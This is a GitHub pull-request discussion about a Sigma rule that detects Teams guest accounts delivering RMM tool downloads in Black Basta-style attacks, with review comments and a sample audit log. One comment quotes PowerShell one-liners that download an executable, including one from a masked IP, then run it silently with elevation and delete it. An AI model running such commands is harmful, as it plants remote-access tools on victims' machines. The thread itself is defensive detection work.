Create microsoft365_teams_guest_rmm_deployment.yml

[prashanthpulisetti]

This Sigma rule is designed to detect potential malicious guest accounts using onmicrosoft.com domains and the deployment of Remote Monitoring and Management (RMM) tools via Teams messages. The rule identifies emails containing links to executable files or known RMM tool URLs. This detection is crucial for preventing attackers from gaining unauthorized access through email bombing and subsequent fake IT support messages that lead to ransomware deployment.

reference:
https://www.bleepingcomputer.com/news/security/black-basta-ransomware-poses-as-it-support-on-microsoft-teams-to-breach-networks/?form=MG0AV3 https://securityaffairs.com/170311/cyber-crime/black-basta-ransomware-microsoft-teams.html?form=MG0AV3

Summary of the Pull Request

Changelog

• Created a Sigma rule to detect malicious guest accounts and RMM tool deployment via Teams.

• Integrated detection for email patterns indicative of executable files and known RMM tool URLs.

• Added references to recent incidents involving Black Basta ransomware using Microsoft Teams.

Example Log Event

{
"user.email": "[email protected]",
"o365.audit.MessageURLs": "https://downloads.level.io/install_windows.exe"
}

Fixed Issues

SigmaHQ Rule Creation Conventions

• If your PR adds new rules, please consider following and applying these conventions

[nasbench]

thanks for the contribution @prashanthpulisetti

Before i can review this please make sure that your rule conforms to the rules here in the repo and the standard.

• Indentation has to be 4
• status must start with experimental
• the field fields isn't used anymore for public rules

Thanks

[prashanthpulisetti]

Hi @nasbench, thanks for the suggestions, I will make sure to adjust them.

[nasbench]

Hi @nasbench, thanks for the suggestions, I will make sure to adjust them.

They were not suggestions but requirements 😛 haha

[nasbench]

@prashanthpulisetti can you please provide the full log and not a stripped down version?

[nasbench]

What's the reasoning behind selecting these extensions and not something else?

[prashanthpulisetti]

Hi @nasbench ; recently I was working with a client and they had a massive email bombing attack followed by an teams guest message and then they sent a payload which contains a fake RMM tool so there are two messages the attacker sent via teams one is directly https://anydesk.com which is something similar to

Start-Process powershell -ArgumentList 'Invoke-WebRequest -Uri "https://download.anydesk.com/AnyDesk.exe" -OutFile "$env:TEMP\AnyDesk.exe"; Start-Process -FilePath "$env:TEMP\AnyDesk.exe" -ArgumentList "/silent" -Wait; Remove-Item -Path "$env:TEMP\AnyDesk.exe" -Force' -Verb RunAs

and there is another message with IP as their URL ( could be a C2C ) :

Start-Process powershell -ArgumentList 'Invoke-WebRequest -Uri "https://xxx.xx.xx.xx/RMM.exe" -OutFile "$env:TEMP\AnyDesk.exe"; Start-Process -FilePath "$env:TEMP\AnyDesk.exe" -ArgumentList "/silent" -Wait; Remove-Item -Path "$env:TEMP\AnyDesk.exe" -Force' -Verb RunAs

So this is the reason why I've kept with .exe, .msi or .js.

[nasbench]

This doesn't really makes a lot of sense, can you please rephrase it. What's the relation between guest accounts and deployment of RMMs?

[prashanthpulisetti]

As I mentioned in the notes below, attackers are using Teams channels to send Remote Monitoring and Management (RMM) software, posing as fake Microsoft support agents and asking end users to download these RMM tools under the guise of troubleshooting assistance.

[prashanthpulisetti]

@nasbench

please see the original log:

CreationTime: 2024-11-08T14:33:49
UserId: [email protected]
UserType: 0
UserKey: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
MessageId: xxxxxxxxxxxxxxxx
MessageVersion: xxxxxxxxxxxxxxxx
CommunicationType: OneOnOne
ChatThreadId: 19:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx_xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx@unq.gbl.spaces
ResourceTenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
UserTenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
ParticipantInfo:
  - HasOtherGuestUsers: false
  - ParticipatingSIPDomains:
    - TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
      DomainName: exampletenant.onmicrosoft.com
    - TenantId: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
      DomainName: fictitiouscorp.com
  - HasForeignTenantUsers: true
  - ParticipatingTenantIds: [xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx, xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx]
  - HasGuestUsers: false
  - HasUnauthenticatedUsers: false
  - ParticipatingDomains: [fictitiouscorp.com, exampletenant.onmicrosoft.com]
MessageURLs: [https://example.com/install_windows.exe]
ExtraProperties:
  - TimeZone: Europe/Moscow
  - OsName: Android
  - OsVersion: 14
  - Country: XX
  - ClientName: microsoftteams
  - ClientVersion: 1416/1.0.0.2024183604
  - ClientUtcOffsetSeconds: 10800